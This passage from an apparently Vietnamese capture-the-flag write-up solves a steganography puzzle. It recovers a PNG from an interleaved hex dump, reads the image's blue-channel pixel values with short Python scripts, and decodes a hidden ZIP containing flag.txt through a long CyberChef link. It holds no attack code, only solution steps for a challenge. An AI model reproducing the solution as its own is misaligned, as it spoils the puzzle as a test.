00 2C 00 5E 00 0A 00 1E 00 A4 00 02 00 FF 00 0C 00 70 00 B8 00 10 00 3C 00 3D 00 94 00 FF 00 A4 00 23 00 E3 00 59 00 FF 00 47 00 C4 00 F9 00 E5 00 05 00 F1 00 5A 00 17 00 C4 00 56 00 D0 00 0A 00 8E 00 0A 00 EE 00 35 00 1F 00 56 00 54 00 0A 00 46 00 87 00 5C 00 0B 00 7A 00 41 00 DC 00 A2 00 14 00 24 00 75 00 C2 00 0A 00 E6 00 89 00 6F 00 AD 00 A0 00 44 00 49 00 04 00 E3 00 CD 00 0A 00 5A 00 C1 00 A9 00 3E 00 94 00 42 00 90 00 89 00 89 00 B7 00 82 00 AD 00 15 00 94 00 28 00 89 00 60 00 7C 00 B1 00 82 00 63 00 B4 00 56 00 70 00 62 00 DE 00 37 00 8F 00 E0 00 41 00 FA 00 95 00 8D 00 7F 00 2D 00 E8 00 5F 00 0B 00 56 00 DC 00 27 00 03 00 F0 00 19 00 00 00 DE 00 6A 00 05 00 AD 00 60 00 A3 00 52 00 70 00 49 00 42 00 E4 00 07 00 B8 00 16 00 8C 00 F0 00 82 00 38 00 62 00 63 00 08 00 8E 00 0D 00 59 00 C1 00 88 00 D6 00 0A 00 2E 00 C8 00 87 00 DC 00 FE 00 66 00 10 00 3C 00 F6 00 8A 00 B3 00 C2 00 0A 00 B6 00 53 00 70 00 88 00 22 00 08 00 C6 00 E2 00 CC 00 FB 00 64 00 BC 00 20 00 EE 00 B1 00 20 00 B6 00 82 00 56 00 70 00 54 00 70 00 E7 00 7C 00 58 00 69 00 29 00 18 00 9D 00 73 00 2D 00 B8 00 BC 00 9F 00 5E 00 10 00 E7 00 D8 00 18 00 82 00 B9 00 D3 00 6B 00 4B 00 26 00 2B 00 E8 00 05 00 71 00 6E 00 7F 00 0F 00 08 00 C6 00 17 00 2B 00 48 00 1A 00 3E 00 2B 00 58 00 B6 00 14 00 24 00 4D 00 BC 00 15 00 B4 00 82 00 C5 00 4B 00 C1 00 38 00 61 00 05 00 23 00 AC 00 60 00 F1 00 52 00 30 00 6E 00 B3 00 82 00 56 00 B0 00 45 00 29 00 38 00 0E 00 96 00 15 00 B4 00 82 00 65 00 4B 00 C1 00 63 00 8F 00 62 00 05 00 8F 00 8B 00 46 00 0A 00 0E 00 63 00 55 00 04 00 C1 00 78 00 B3 00 82 00 11 00 56 00 70 00 3E 00 1F 00 72 00 FB 00 9B 00 44 00 F0 00 D8 00 AB 00 B1 00 82 00 CD 00 15 00 94 00 28 00 89 00 60 00 EC 00 DF 00 F0 00 3E 00 19 00 EF 00 93 00 A9 00 BB 00 4F 00 E6 00 E8 00 F8 00 0D 00 58 00 41 00 2B 00 38 00 2A 00 78 00 5E 00 F9 00 B0 00 81 00 52 00 30 00 3A 00 EA 00 5A 00 70 00 BE 00 9F 00 5E 00 10 00 E7 00 D8 00 30 00 82 00 F9 00 A2 00 35 00 24 00 93 00 15 00 5C 00 85 00 82 00 12 00 25 00 11 00 64 00 AF 00 1D 00 B5 00 82 00 39 00 36 00 AC 00 60 00 BA 00 A6 00 14 00 82 00 F9 00 01 00 56 00 D0 00 0A 00 16 00 2F 00 05 00 49 00 53 00 6E 00 05 00 A7 00 22 00 F7 00 A1 00 85 00 82 00 8B 00 E7 00 7D 00 63 00 08 00 46 00 13 00 56 00 70 00 6D 00 89 00 EB 00 52 00 F0 00 44 00 10 00 1C 00 07 00 CE 00 0A 00 5A 00 C1 00 B2 00 A5 00 60 00 3E 00 91 00 1F 00 60 00 05 00 23 00 9A 00 2A 00 38 00 7C 00 2E 00 82 00 E0 00 78 00 C2 00 0A 00 5A 00 C1 00 1C 00 B9 00 FD 00 CD 00 23 00 98 00 BF 00 58 00 41 00 2B 00 58 00 BC 00 14 00 CC 00 FF 00 37 00 93 00 F7 00 C9 00 78 00 9F 00 4C 00 C5 00 7D 00 32 00 70 00 F4 00 4F 00 A8 00 5A 00 41 00 2B 00 38 00 3B 00 E3 00 A5 00 4A 00 C1 00 E8 00 B4 00 6B 00 C1 00 31 00 BC 00 20 00 CE 00 51 00 04 00 C1 00 A9 00 9B 00 AD 00 60 00 6B 00 05 00 25 00 4A 00 22 00 C8 00 CE 00 1D 00 B5 00 82 00 39 00 8A 00 28 00 38 00 71 00 EF 00 E6 00 11 00 64 00 76 00 E2 00 AD 00 60 00 53 00 05 00 77 00 EE 00 E7 00 4A 00 11 00 8C 00 1B 00 AC 00 E0 00 18 00 B9 00 0F 00 ED 00 14 00 9C 00 9D 00 F7 00 0D 00 23 00 18 00 CD 00 59 00 C1 00 35 00 24 00 EE 00 8A 00 14 00 94 00 28 00 89 00 60 00 7C 00 B1 00 82 00 56 00 B0 00 45 00 29 00 48 00 7A 00 80 00 15 00 8C 00 B0 00 82 00 11 00 05 00 11 00 8C 00 37 00 2B 00 68 00 05 00 73 00 E4 00 F6 00 4B 00 21 00 38 00 75 00 C2 00 0A 00 1E 00 33 00 58 00 13 00 9F 00 0B 00 2A 00 28 00 51 00 12 00 C1 00 D8 00 D7 00 E1 00 7D 00 32 00 DE 00 27 00 93 00 5F 00 B5 00 F6 00 C9 00 1C 00 BD 00 5E 00 B1 00 82 00 56 00 B0 00 51 00 29 00 38 00 26 00 93 00 6B 00 C1 00 08 00 2F 00 88 00 0B 00 22 00 98 00 6F 00 B6 00 82 00 56 00 B0 00 F8 00 82 00 98 00 F3 00 EA 00 A8 00 15 00 CC 00 51 00 50 00 C1 00 14 00 A5 00 10 00 8C 00 A5 00 D5 00 A7 00 01 00 B8 00 07 00 80 00 C7 00 01 00 B8 00 03 00 80 00 7B 00 D3 00 F1 00 FB 00 D3 00 22 00 23 00 97 00 FF 00 67 00 00 00 FF 00 47 00 C4 00 5E 00 10 00 6F 00 63 00 41 00 6C 00 05 00 AD 00 E0 00 82 00 79 00 2F 00 52 00 0A 00 46 00 D3 00 AE 00 05 00 73 00 78 00 41 00 5C 00 B6 00 14 00 1C 00 6F 00 B0 00 82 00 56 00 B0 00 EC 00 82 00 38 00 0E 00 59 00 41 00 2B 00 18 00 51 00 BC 00 14 00 8C 00 2F 00 56 00 D0 00 0A 00 E6 00 F6 00 CB 00 96 00 82 00 F9 00 84 00 15 00 9C 00 1F 00 AC 00 46 00 0A 00 4A 00 94 00 44 00 30 00 FF 00 3B 00 33 00 FE 00 B5 00 60 00 7E 00 F9 00 D7 00 82 00 55 00 F6 00 C9 00 E4 00 B3 00 56 00 D0 00 0A 00 2E 00 38 00 5B 00 A4 00 14 00 8C 00 1F 00 C6 00 B5 00 60 00 84 00 17 00 C4 00 C5 00 4B 00 C1 00 78 00 B3 00 82 00 FB 00 4A 00 88 00 22 00 0A 00 4A 00 94 00 44 00 70 00 79 00 47 00 AD 00 60 00 8E 00 E2 00 0A 00 4A 00 94 00 44 00 30 00 4E 00 5B 00 41 00 2B 00 D8 00 A2 00 14 00 24 00 0D 00 9F 00 15 00 B4 00 82 00 79 00 DE 00 0B 00 22 00 48 00 EA 00 BA 00 15 00 B4 00 82 00 C5 00 4B 00 C1 00 78 00 B3 00 82 00 56 00 B0 00 45 00 29 00 98 00 A7 00 73 00 6D 00 89 00 6B 00 05 00 5D 00 0A 00 EE 00 19 00 C1 00 DD 00 27 00 DE 00 0A 00 16 00 54 00 30 00 8D 00 E7 00 DA 00 12 00 77 00 27 00 04 00 49 00 43 00 3C 00 15 00 56 00 30 00 A2 00 91 00 82 00 3B 00 CF 00 FB 00 4A 00 11 00 8C 00 FD 00 1E 00 DE 00 27 00 13 00 2F 00 EF 00 93 00 A9 00 B8 00 4F 00 26 00 9F 00 B5 00 82 00 56 00 70 00 E2 00 6C 00 C1 00 52 00 90 00 BD 00 26 00 44 00 7E 00 40 00 8B 00 5A 00 30 00 0D 00 F1 00 54 00 B8 00 14 00 8C 00 58 00 05 00 82 00 71 00 C8 00 0A 00 5A 00 C1 00 16 00 0B 00 E2 00 F9 00 8E 00 5A 00 C1 00 1C 00 8D 00 14 00 94 00 28 00 89 00 20 00 17 00 30 00 21 00 AC 00 E0 00 7C 00 42 00 E4 00 F6 00 5D 00 0A 00 46 00 EC 00 19 00 C1 00 F8 00 62 00 05 00 AD 00 60 00 8B 00 52 00 30 00 1E 00 69 00 05 00 AD 00 20 00 69 00 F4 00 CA 00 96 00 82 00 F3 00 13 00 90 00 3B 00 61 00 05 00 F3 00 C4 00 17 00 57 00 50 00 A2 00 24 00 82 00 F9 00 86 00 35 00 24 00 AE 00 15 00 5C 00 85 00 82 00 B3 00 91 00 FB 00 B0 00 31 00 04 00 39 00 AF 00 89 00 B7 00 82 00 C5 00 15 00 4C 00 D7 00 AF 00 21 00 71 00 F7 00 86 00 E0 00 D4 00 CD 00 56 00 30 00 A2 00 A9 00 82 00 E7 00 35 00 EF 00 1B 00 40 00 30 00 F6 00 7E 00 78 00 9F 00 8C 00 F7 00 C9 00 D4 00 DD 00 27 00 03 00 70 00 33 00 00 00 CF 00 63 00 05 00 AD 00 E0 00 A8 00 A0 00 44 00 C9 00 52 00 90 00 9D 00 13 00 22 00 3F 00 A0 00 5D 00 2D 00 38 00 11 00 2E 00 05 00 23 00 56 00 87 00 60 00 9C 00 B6 00 82 00 56 00 B0 00 C5 00 82 00 78 00 3C 00 61 00 05 00 73 00 34 00 55 00 50 00 A2 00 24 00 82 00 9C 00 70 00 42 00 58 00 C1 00 F9 00 84 00 C8 00 ED 00 AF 00 48 00 C1 00 21 00 8A 00 20 00 18 00 27 00 AC 00 60 00 C4 00 1A 00 92 00 69 00 15 00 0A 00 9E 00 70 00 3E 00 BC 00 61 00 08 00 C6 00 E3 00 AD 00 A0 00 15 00 6C 00 51 00 0A 00 8E 00 17 00 E5 00 4E 00 58 00 C1 00 3C 00 F1 00 8D 00 14 00 94 00 28 00 89 00 E0 00 B1 00 AD 00 60 00 05 00 9B 00 2B 00 38 00 DB 00 87 00 0D 00 23 00 C8 00 E2 00 89 00 B7 00 82 00 8D 00 14 00 9C 00 68 00 67 00 F3 00 08 00 E6 00 2F 00 56 00 30 00 C2 00 0A 00 96 00 2D 00 05 00 63 00 1F 00 88 00 F7 00 C9 00 78 00 9F 00 4C 00 DD 00 7D 00 32 00 00 00 B7 00 01 00 F0 00 04 00 56 00 D0 00 0A 00 8E 00 0A 00 4A 00 94 00 2C 00 05 00 39 00 AF 00 84 00 C8 00 0F 00 68 00 5D 00 0B 00 A6 00 70 00 29 00 18 00 B1 00 6A 00 04 00 E3 00 52 00 2B 00 B8 00 24 00 21 00 1A 00 29 00 78 00 5E 00 F9 00 90 00 DB 00 5F 00 29 00 82 00 A4 00 1F 00 3B 00 C2 00 0A 00 5A 00 C1 00 B2 00 A5 00 E0 00 C1 00 50 00 E0 00 9F 00 01 00 0E 00 17 00 82 00 A7 00 87 00 B3 00 A4 00 23 00 E3 00 59 00 FF 00 47 00 C4 00 F9 00 E5 00 05 00 F1 00 FA 00 16 00 C4 00 56 00 D0 00 0A 00 8E 00 0A 00 9E 00 40 00 3E 00 AC 00 A2 00 14 00 8C 00 AE 00 B8 00 16 00 F4 00 82 00 F8 00 11 00 89 00 F2 00 A5 00 E0 00 D8 00 09 00 2B 00 98 00 27 00 BE 00 A9 00 82 00 12 00 25 00 11 00 CC 00 0D 00 59 00 41 00 2B 00 38 00 D5 00 87 00 22 00 08 00 32 00 3B 00 F1 00 56 00 B0 00 A9 00 82 00 29 00 4A 00 21 00 18 00 6F 00 56 00 D0 00 0A 00 B6 00 28 00 05 00 E3 00 22 00 2B 00 68 00 05 00 73 00 94 00 2D 00 05 00 97 00 0C 00 96 00 15 00 6C 00 A7 00 A0 00 44 00 49 00 04 00 97 00 27 00 44 00 7E 00 80 00 15 00 8C 00 28 00 AB 00 E0 00 82 00 B1 00 DA 00 24 00 82 00 53 00 9D 00 B0 00 82 00 11 00 4D 00 15 00 5C 00 9C 00 0F 00 B9 00 FD 00 0D 00 20 00 18 00 5F 00 AC 00 A0 00 15 00 6C 00 51 00 0A 00 C6 00 6E 00 0D 00 EF 00 93 00 F1 00 3E 00 99 00 BA 00 FB 00 64 00 E0 00 E8 00 2F 00 8E 00 58 00 41 00 2B 00 38 00 2A 00 B8 00 A7 00 7C 00 58 00 5D 00 29 00 18 00 DD 00 72 00 2D 00 78 00 AE 00 FD 00 F4 00 82 00 38 00 C7 00 66 00 10 00 CC 00 03 00 61 00 05 00 AD 00 60 00 F1 00 05 00 71 00 BC 00 59 00 41 00 2B 00 38 00 F6 00 A1 00 20 00 82 00 0C 00 13 00 6F 00 05 00 AD 00 60 00 D9 00 52 00 30 00 0E 00 59 00 C1 00 1C 00 56 00 B0 00 6C 00 29 00 18 00 37 00 58 00 41 00 2B 00 D8 00 A2 00 14 00 9C 00 1A 00 2C 00 2B 00 D8 00 5A 00 41 00 89 00 92 00 08 00 CE 00 27 00 44 00 7E 00 80 00 15 00 8C 00 68 00 A1 00 E0 00 C4 00 58 00 6D 00 1E 00 C1 00 DC 00 90 00 15 00 8C 00 B0 00 82 00 F3 00 F9 00 90 00 DB 00 DF 00 18 00 82 00 C7 00 5E 00 77 00 56 00 EA 00 8C 00 61 00 05 00 E7 00 C7 00 6A 00 F3 00 0A 00 A6 00 28 00 85 00 60 00 EC 00 DC 00 F0 00 3E 00 19 00 EF 00 93 00 79 00 01 00 A8 00 B9 00 4F 00 06 00 8E 00 FE 00 81 00 55 00 2B 00 68 00 05 00 47 00 05 00 77 00 C8 00 87 00 55 00 97 00 82 00 D1 00 45 00 D7 00 82 00 4B 00 FA 00 E9 00 05 00 71 00 8E 00 4D 00 22 00 18 00 27 00 D6 00 96 00 4C 00 56 00 D0 00 0B 00 E2 00 DC 00 FE 00 DE 00 10 00 8C 00 43 00 56 00 D0 00 0A 00 B6 00 28 00 05 00 C7 00 1F 00 C6 00 0A 00 5A 00 C1 00 B2 00 A5 00 60 00 9C 00 B6 00 82 00 56 00 B0 00 45 00 29 00 18 00 37 00 5B 00 41 00 2B 00 D8 00 A2 00 14 00 9C 00 1A 00 38 00 2B 00 D8 00 5A 00 41 00 89 00 92 00 08 00 8E 00 27 00 F2 00 03 00 AC 00 60 00 44 00 3B 00 05 00 27 00 3E 00 6F 00 1E 00 C1 00 A9 00 CE 00 59 00 C1 00 D6 00 0A 00 0E 00 91 00 DB 00 DF 00 30 00 82 00 E3 00 0D 00 56 00 D0 00 0A 00 96 00 2D 00 05 00 0F 00 86 00 1D 00 11 00 DE 00 27 00 E3 00 7D 00 32 00 B5 00 F6 00 C9 00 1C 00 5D 00 F9 00 62 00 FE 00 53 00 65 00 05 00 AD 00 60 00 F1 00 52 00 30 00 BA 00 EB 00 5A 00 D0 00 0B 00 E2 00 16 00 A5 00 E0 00 FF 00 00 00 A1 00 19 00 4B 00 C2 00 8F 00 11 00 53 00 08 00 00 00 00 00 00 00 00 00 49 00 45 00 4E 00 44 00 AE 00 42 00 60 00 82" data_list = data.split() result = b'' for i in range(0, len(data_list), 2): result += data_list[i] with open("output.png","wb") as file: file.write(result) ``` Mình được một file ảnh như thế này: ![Untitled 13](https://hackmd.io/_uploads/By0MHkhDT.png) Hmmm, xem ra phải giải mã ảnh này nữa, mình dùng steg, exiftool thì không có gì hết và xem hexdump cũng không có gì bất thường. Mình lên cyberchef xem bit plane thử thì chỉ có màu blue thôi, và những chấm trắng trong ảnh khá đặt biệt nên là mình sẽ xem thử giá trị pixel mà màu blue thử. Script tại đây: ```python import cv2 import numpy as np # Load ảnh bitmap img = cv2.imread("flag.png", cv2.IMREAD_UNCHANGED) # Lấy kích thước ảnh height, width = img.shape[:2] file=open("unicode.txt", "w") #mode a để ghi, # Duyệt qua từng hàng và cột trong ảnh for y in range(height): for x in range(width): # Lấy giá trị mỗi kênh màu của pixel tại vị trí (x,y) b, g, r= img[y, x] red = hex(r) green =hex(g) blue = hex(b) file.write(blue + " ") #file.write(" ") file.write("\n") ``` Đây là mình chỉ lấy màu blue thôi. ![Untitled 14](https://hackmd.io/_uploads/Ski4HJ3wp.png) Cũng có thể thấy là cách giấu nó giống vs giấu ảnh lúc nãy. Nên là mình extract tiếp. ```python with open("unicode.txt", "r") as file: data=file.read() data=data.split() # print(type(data[1])) res="" for i in range(1, len(data), 2): res+=data[i] + " " print(res) ``` Lên [Cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=MHg1MCAweDRiIDB4MyAweDQgMHhhIDB4MCAweDkgMHgwIDB4MCAweDAgMHhjIDB4N2UgMHhjNyAweDU2IDB4YmYgMHhmOSAweDI3IDB4YmIgMHgyMCAweDAgMHgwIDB4MCAweDE0IDB4MCAweDAgMHgwIDB4OCAweDAgMHgxYyAweDAgMHg2NiAweDZjIDB4NjEgMHg2NyAweDJlIDB4NzQgMHg3OCAweDc0IDB4NTUgMHg1NCAweDkgMHgwIDB4MyAweDU4IDB4NDQgMHg4MCAweDY0IDB4ODYgMHg0NCAweDgwIDB4NjQgMHg3NSAweDc4IDB4YiAweDAgMHgxIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4ZGEgMHg3MiAweDE1IDB4NzYgMHgzNCAweDllIDB4ZjEgMHg3ZCAweDQ4IDB4ZGUgMHg0MiAweDFhIDB4ZjMgMHg2MyAweDViIDB4YzggMHgzZiAweDc4IDB4YjkgMHg0NSAweDUxIDB4NmUgMHg3YiAweGVmIDB4YTUgMHhmNSAweGQ5IDB4ZWIgMHg4NSAweGQ0IDB4ODEgMHgxNiAweDUwIDB4NGIgMHg3IDB4OCAweGJmIDB4ZjkgMHgyNyAweGJiIDB4MjAgMHgwIDB4MCAweDAgMHgxNCAweDAgMHgwIDB4MCAweDUwIDB4NGIgMHgxIDB4MiAweDFlIDB4MyAweGEgMHgwIDB4OSAweDAgMHgwIDB4MCAweGMgMHg3ZSAweGM3IDB4NTYgMHhiZiAweGY5IDB4MjcgMHhiYiAweDIwIDB4MCAweDAgMHgwIDB4MTQgMHgwIDB4MCAweDAgMHg4IDB4MCAweDE4IDB4MCAweDAgMHgwIDB4MCAweDAgMHgxIDB4MCAweDAgMHgwIDB4YTQgMHg4MSAweDAgMHgwIDB4MCAweDAgMHg2NiAweDZjIDB4NjEgMHg2NyAweDJlIDB4NzQgMHg3OCAweDc0IDB4NTUgMHg1NCAweDUgMHgwIDB4MyAweDU4IDB4NDQgMHg4MCAweDY0IDB4NzUgMHg3OCAweGIgMHgwIDB4MSAweDQgMHhlOCAweDMgMHgwIDB4MCAweDQgMHhlOCAweDMgMHgwIDB4MCAweDUwIDB4NGIgMHg1IDB4NiAweDAgMHgwIDB4MCAweDAgMHgxIDB4MCAweDEgMHgwIDB4NGUgMHgwIDB4MCAweDAgMHg3MiAweDAgMHgwIDB4MCAweDAgMHgwIDB4NTAgMHg0YiAweDMgMHg0IDB4YSAweDAgMHg5IDB4MCAweDAgMHgwIDB4YyAweDdlIDB4YzcgMHg1NiAweGJmIDB4ZjkgMHgyNyAweGJiIDB4MjAgMHgwIDB4MCAweDAgMHgxNCAweDAgMHgwIDB4MCAweDggMHgwIDB4MWMgMHgwIDB4NjYgMHg2YyAweDYxIDB4NjcgMHgyZSAweDc0IDB4NzggMHg3NCAweDU1IDB4NTQgMHg5IDB4MCAweDMgMHg1OCAweDQ0IDB4ODAgMHg2NCAweDg2IDB4NDQgMHg4MCAweDY0IDB4NzUgMHg3OCAweGIgMHgwIDB4MSAweDQgMHhlOCAweDMgMHgwIDB4MCAweDQgMHhlOCAweDMgMHgwIDB4MCAweGRhIDB4NzIgMHgxNSAweDc2IDB4MzQgMHg5ZSAweGYxIDB4N2QgMHg0OCAweGRlIDB4NDIgMHgxYSAweGYzIDB4NjMgMHg1YiAweGM4IDB4M2YgMHg3OCAweGI5IDB4NDUgMHg1MSAweDZlIDB4N2IgMHhlZiAweGE1IDB4ZjUgMHhkOSAweGViIDB4ODUgMHhkNCAweDgxIDB4MTYgMHg1MCAweDRiIDB4NyAweDggMHhiZiAweGY5IDB4MjcgMHhiYiAweDIwIDB4MCAweDAgMHgwIDB4MTQgMHgwIDB4MCAweDAgMHg1MCAweDRiIDB4MSAweDIgMHgxZSAweDMgMHhhIDB4MCAweDkgMHgwIDB4MCAweDAgMHhjIDB4N2UgMHhjNyAweDU2IDB4YmYgMHhmOSAweDI3IDB4YmIgMHgyMCAweDAgMHgwIDB4MCAweDE0IDB4MCAweDAgMHgwIDB4OCAweDAgMHgxOCAweDAgMHgwIDB4MCAweDAgMHgwIDB4MSAweDAgMHgwIDB4MCAweGE0IDB4ODEgMHgwIDB4MCAweDAgMHgwIDB4NjYgMHg2YyAweDYxIDB4NjcgMHgyZSAweDc0IDB4NzggMHg3NCAweDU1IDB4NTQgMHg1IDB4MCAweDMgMHg1OCAweDQ0IDB4ODAgMHg2NCAweDc1IDB4NzggMHhiIDB4MCAweDEgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHg1MCAweDRiIDB4NSAweDYgMHgwIDB4MCAweDAgMHgwIDB4MSAweDAgMHgxIDB4MCAweDRlIDB4MCAweDAgMHgwIDB4NzIgMHgwIDB4MCAweDAgMHgwIDB4MCAweDUwIDB4NGIgMHgzIDB4NCAweGEgMHgwIDB4OSAweDAgMHgwIDB4MCAweGMgMHg3ZSAweGM3IDB4NTYgMHhiZiAweGY5IDB4MjcgMHhiYiAweDIwIDB4MCAweDAgMHgwIDB4MTQgMHgwIDB4MCAweDAgMHg4IDB4MCAweDFjIDB4MCAweDY2IDB4NmMgMHg2MSAweDY3IDB4MmUgMHg3NCAweDc4IDB4NzQgMHg1NSAweDU0IDB4OSAweDAgMHgzIDB4NTggMHg0NCAweDgwIDB4NjQgMHg4NiAweDQ0IDB4ODAgMHg2NCAweDc1IDB4NzggMHhiIDB4MCAweDEgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHhkYSAweDcyIDB4MTUgMHg3NiAweDM0IDB4OWUgMHhmMSAweDdkIDB4NDggMHhkZSAweDQyIDB4MWEgMHhmMyAweDYzIDB4NWIgMHhjOCAweDNmIDB4NzggMHhiOSAweDQ1IDB4NTEgMHg2ZSAweDdiIDB4ZWYgMHhhNSAweGY1IDB4ZDkgMHhlYiAweDg1IDB4ZDQgMHg4MSAweDE2IDB4NTAgMHg0YiAweDcgMHg4IDB4YmYgMHhmOSAweDI3IDB4YmIgMHgyMCAweDAgMHgwIDB4MCAweDE0IDB4MCAweDAgMHgwIDB4NTAgMHg0YiAweDEgMHgyIDB4MWUgMHgzIDB4YSAweDAgMHg5IDB4MCAweDAgMHgwIDB4YyAweDdlIDB4YzcgMHg1NiAweGJmIDB4ZjkgMHgyNyAweGJiIDB4MjAgMHgwIDB4MCAweDAgMHgxNCAweDAgMHgwIDB4MCAweDggMHgwIDB4MTggMHgwIDB4MCAweDAgMHgwIDB4MCAweDEgMHgwIDB4MCAweDAgMHhhNCAweDgxIDB4MCAweDAgMHgwIDB4MCAweDY2IDB4NmMgMHg2MSAweDY3IDB4MmUgMHg3NCAweDc4IDB4NzQgMHg1NSAweDU0IDB4NSAweDAgMHgzIDB4NTggMHg0NCAweDgwIDB4NjQgMHg3NSAweDc4IDB4YiAweDAgMHgxIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4NTAgMHg0YiAweDUgMHg2IDB4MCAweDAgMHgwIDB4MCAweDEgMHgwIDB4MSAweDAgMHg0ZSAweDAgMHgwIDB4MCAweDcyIDB4MCAweDAgMHgwIDB4MCAweDAgMHg1MCAweDRiIDB4MyAweDQgMHhhIDB4MCAweDkgMHgwIDB4MCAweDAgMHhjIDB4N2UgMHhjNyAweDU2IDB4YmYgMHhmOSAweDI3IDB4YmIgMHgyMCAweDAgMHgwIDB4MCAweDE0IDB4MCAweDAgMHgwIDB4OCAweDAgMHgxYyAweDAgMHg2NiAweDZjIDB4NjEgMHg2NyAweDJlIDB4NzQgMHg3OCAweDc0IDB4NTUgMHg1NCAweDkgMHgwIDB4MyAweDU4IDB4NDQgMHg4MCAweDY0IDB4ODYgMHg0NCAweDgwIDB4NjQgMHg3NSAweDc4IDB4YiAweDAgMHgxIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4ZGEgMHg3MiAweDE1IDB4NzYgMHgzNCAweDllIDB4ZjEgMHg3ZCAweDQ4IDB4ZGUgMHg0MiAweDFhIDB4ZjMgMHg2MyAweDViIDB4YzggMHgzZiAweDc4IDB4YjkgMHg0NSAweDUxIDB4NmUgMHg3YiAweGVmIDB4YTUgMHhmNSAweGQ5IDB4ZWIgMHg4NSAweGQ0IDB4ODEgMHgxNiAweDUwIDB4NGIgMHg3IDB4OCAweGJmIDB4ZjkgMHgyNyAweGJiIDB4MjAgMHgwIDB4MCAweDAgMHgxNCAweDAgMHgwIDB4MCAweDUwIDB4NGIgMHgxIDB4MiAweDFlIDB4MyAweGEgMHgwIDB4OSAweDAgMHgwIDB4MCAweGMgMHg3ZSAweGM3IDB4NTYgMHhiZiAweGY5IDB4MjcgMHhiYiAweDIwIDB4MCAweDAgMHgwIDB4MTQgMHgwIDB4MCAweDAgMHg4IDB4MCAweDE4IDB4MCAweDAgMHgwIDB4MCAweDAgMHgxIDB4MCAweDAgMHgwIDB4YTQgMHg4MSAweDAgMHgwIDB4MCAweDAgMHg2NiAweDZjIDB4NjEgMHg2NyAweDJlIDB4NzQgMHg3OCAweDc0IDB4NTUgMHg1NCAweDUgMHgwIDB4MyAweDU4IDB4NDQgMHg4MCAweDY0IDB4NzUgMHg3OCAweGIgMHgwIDB4MSAweDQgMHhlOCAweDMgMHgwIDB4MCAweDQgMHhlOCAweDMgMHgwIDB4MCAweDUwIDB4NGIgMHg1IDB4NiAweDAgMHgwIDB4MCAweDAgMHgxIDB4MCAweDEgMHgwIDB4NGUgMHgwIDB4MCAweDAgMHg3MiAweDAgMHgwIDB4MCAweDAgMHgwIDB4NTAgMHg0YiAweDMgMHg0IDB4YSAweDAgMHg5IDB4MCAweDAgMHgwIDB4YyAweDdlIDB4YzcgMHg1NiAweGJmIDB4ZjkgMHgyNyAweGJiIDB4MjAgMHgwIDB4MCAweDAgMHgxNCAweDAgMHgwIDB4MCAweDggMHgwIDB4MWMgMHgwIDB4NjYgMHg2YyAweDYxIDB4NjcgMHgyZSAweDc0IDB4NzggMHg3NCAweDU1IDB4NTQgMHg5IDB4MCAweDMgMHg1OCAweDQ0IDB4ODAgMHg2NCAweDg2IDB4NDQgMHg4MCAweDY0IDB4NzUgMHg3OCAweGIgMHgwIDB4MSAweDQgMHhlOCAweDMgMHgwIDB4MCAweDQgMHhlOCAweDMgMHgwIDB4MCAweGRhIDB4NzIgMHgxNSAweDc2IDB4MzQgMHg5ZSAweGYxIDB4N2QgMHg0OCAweGRlIDB4NDIgMHgxYSAweGYzIDB4NjMgMHg1YiAweGM4IDB4M2YgMHg3OCAweGI5IDB4NDUgMHg1MSAweDZlIDB4N2IgMHhlZiAweGE1IDB4ZjUgMHhkOSAweGViIDB4ODUgMHhkNCAweDgxIDB4MTYgMHg1MCAweDRiIDB4NyAweDggMHhiZiAweGY5IDB4MjcgMHhiYiAweDIwIDB4MCAweDAgMHgwIDB4MTQgMHgwIDB4MCAweDAgMHg1MCAweDRiIDB4MSAweDIgMHgxZSAweDMgMHhhIDB4MCAweDkgMHgwIDB4MCAweDAgMHhjIDB4N2UgMHhjNyAweDU2IDB4YmYgMHhmOSAweDI3IDB4YmIgMHgyMCAweDAgMHgwIDB4MCAweDE0IDB4MCAweDAgMHgwIDB4OCAweDAgMHgxOCAweDAgMHgwIDB4MCAweDAgMHgwIDB4MSAweDAgMHgwIDB4MCAweGE0IDB4ODEgMHgwIDB4MCAweDAgMHgwIDB4NjYgMHg2YyAweDYxIDB4NjcgMHgyZSAweDc0IDB4NzggMHg3NCAweDU1IDB4NTQgMHg1IDB4MCAweDMgMHg1OCAweDQ0IDB4ODAgMHg2NCAweDc1IDB4NzggMHhiIDB4MCAweDEgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHg1MCAweDRiIDB4NSAweDYgMHgwIDB4MCAweDAgMHgwIDB4MSAweDAgMHgxIDB4MCAweDRlIDB4MCAweDAgMHgwIDB4NzIgMHgwIDB4MCAweDAgMHgwIDB4MCAweDUwIDB4NGIgMHgzIDB4NCAweGEgMHgwIDB4OSAweDAgMHgwIDB4MCAweGMgMHg3ZSAweGM3IDB4NTYgMHhiZiAweGY5IDB4MjcgMHhiYiAweDIwIDB4MCAweDAgMHgwIDB4MTQgMHgwIDB4MCAweDAgMHg4IDB4MCAweDFjIDB4MCAweDY2IDB4NmMgMHg2MSAweDY3IDB4MmUgMHg3NCAweDc4IDB4NzQgMHg1NSAweDU0IDB4OSAweDAgMHgzIDB4NTggMHg0NCAweDgwIDB4NjQgMHg4NiAweDQ0IDB4ODAgMHg2NCAweDc1IDB4NzggMHhiIDB4MCAweDEgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHhkYSAweDcyIDB4MTUgMHg3NiAweDM0IDB4OWUgMHhmMSAweDdkIDB4NDggMHhkZSAweDQyIDB4MWEgMHhmMyAweDYzIDB4NWIgMHhjOCAweDNmIDB4NzggMHhiOSAweDQ1IDB4NTEgMHg2ZSAweDdiIDB4ZWYgMHhhNSAweGY1IDB4ZDkgMHhlYiAweDg1IDB4ZDQgMHg4MSAweDE2IDB4NTAgMHg0YiAweDcgMHg4IDB4YmYgMHhmOSAweDI3IDB4YmIgMHgyMCAweDAgMHgwIDB4MCAweDE0IDB4MCAweDAgMHgwID